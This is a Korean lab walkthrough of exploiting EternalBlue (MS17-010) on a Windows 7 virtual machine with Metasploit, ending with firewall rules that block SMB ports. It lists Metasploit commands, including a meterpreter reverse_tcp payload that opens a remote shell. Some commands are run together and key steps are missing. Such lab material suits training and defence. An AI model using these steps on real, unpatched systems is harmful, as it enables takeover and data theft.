
EternalBlue exploit (CVE-2017-0144)을 사용하여 Windows 7 SMB 프로토콜을 대상으로 Metasploit을 활용한 단계별 실습 가이드로, 설정, 익스플로잇 및 완화 단계를 포함합니다.
LAB: SMB 프로토콜 취약점을 이용한 Windows 운영 체제 공격
이번 실습에서는 두 대의 컴퓨터를 사용하여 Windows 운영 체제의 SMB 프로토콜 취약점을 이용한 공격을 시뮬레이션합니다. 한 대는 Kali Linux 운영 체제를 실행하며 공격자(해커) 역할을 합니다. 그리고 다른 한 대는 피해자(victim) 역할을 합니다. 피해자 컴퓨터는 SMB 취약점이 있는 Windows 7 64비트 운영 체제를 실행 중입니다. 이를 위해 Kali Linux 컴퓨터에서 EternalBlue라는 익스플로잇 코드를 사용하여 Windows 7 컴퓨터를 공격합니다.
Server Message Block(SMB)은 Microsoft Windows 플랫폼에서 매우 널리 사용되는 파일 공유 프로토콜입니다. 이 SMB 프로토콜 덕분에 같은 네트워크 계층이나 같은 도메인 내에서 연결된 Windows 컴퓨터들이 서로 파일을 공유할 수 있습니다. 현재까지 SMB는 Common Internet File Sharing(CIFS)라는 다른 이름으로도 불립니다.
EternalBlue는 포트 445를 통한 SMB 프로토콜의 취약점을 기반으로 하는 정보 익스플로잇 코드입니다. 처음에 EternalBlue는 *미국 국가안보국(NSA)*에 의해 개발되었습니다. 영어 전체 이름은 U.S. National Security Agency입니다. 하지만 이후 2017년 해커 그룹 The Shadow Brokers에 의해 유출되었습니다. 같은 해에 Microsoft Windows를 실행하는 컴퓨터를 대상으로 한 대규모 랜섬웨어 공격이 전 세계적으로 발생했습니다. 그중 가장 유명한 것은 WannaCry 바이러스입니다. 현재까지 이 취약점은 Microsoft가 보안 업데이트 MS17-010을 통해 패치했지만, 전 세계적으로 여전히 이 취약점이 존재하는 Windows 운영 체제를 실행하는 많은 컴퓨터가 있습니다. 이 취약점은 CVE-2017-0144(Windows SMB 원격 코드 실행 취약점)로 공개되었습니다. 이 취약점은 매우 위험하며 쉽게 악용될 수 있습니다. 주목할 점은 이 SMB 프로토콜 취약점을 통해 공격하기 위해 해커가 피해자에게 악성 바이러스를 다운로드하거나 실행하도록 속이거나 보낼 필요가 없다는 것입니다. 즉, 피해자가 아무것도 하지 않더라도 해커가 쉽게 컴퓨터를 장악하여 제어권을 빼앗을 수 있으며, 피해자는 전혀 알지 못합니다.
VMware Workstation 소프트웨어에서 실행할 가상 머신 2대를 준비합니다.

Kali(공격자) 가상 머신에서:
ifconfigservice postgresql startservice postgresql statusWindows 7(피해자) 가상 머신에서:
ipconfigmsfconsole 명령어로 Metasploit에 로그인
search ms17_010 명령어로 ms17_010 관련 취약점 및 구문 검색
use 0 -> set payload windows/x64/meterpreter/reverse_tcp

=> 여기까지 해커가 피해자 머신에 성공적으로 침투한 것으로 간주됩니다. 이제 해커는 피해자가 전혀 알지 못하는 상태에서 파일을 삭제하거나 훔칠 수 있습니다. 심지어 해커는 그곳에서 직접 바이러스를 업로드하고 실행할 수도 있습니다.
SMB 프로토콜이 악용되는 것을 방지하려면 다음 작업을 수행해야 합니다.
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name="Block_Cong_135"netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name="Block_Cong_445"